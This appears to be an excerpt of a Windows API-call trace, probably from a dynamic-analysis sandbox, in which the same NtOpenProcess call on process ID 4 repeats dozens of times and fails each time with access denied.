	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.693] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.694] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
